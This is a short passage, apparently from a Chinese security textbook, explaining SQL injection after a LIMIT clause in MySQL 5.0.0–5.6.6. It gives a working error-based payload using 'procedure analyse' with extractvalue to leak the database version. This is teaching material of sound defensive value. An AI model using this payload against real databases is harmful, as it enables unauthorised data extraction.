上QQ阅读APP看书,第一时间看更新
2.7 limit之后的注入
研究发现,在MySQL版本号大于5.0.0且小于5.6.6的时候,在如下位置中可以进行注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT {injection_point}
也可以使用如下的Payload进行注入:
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);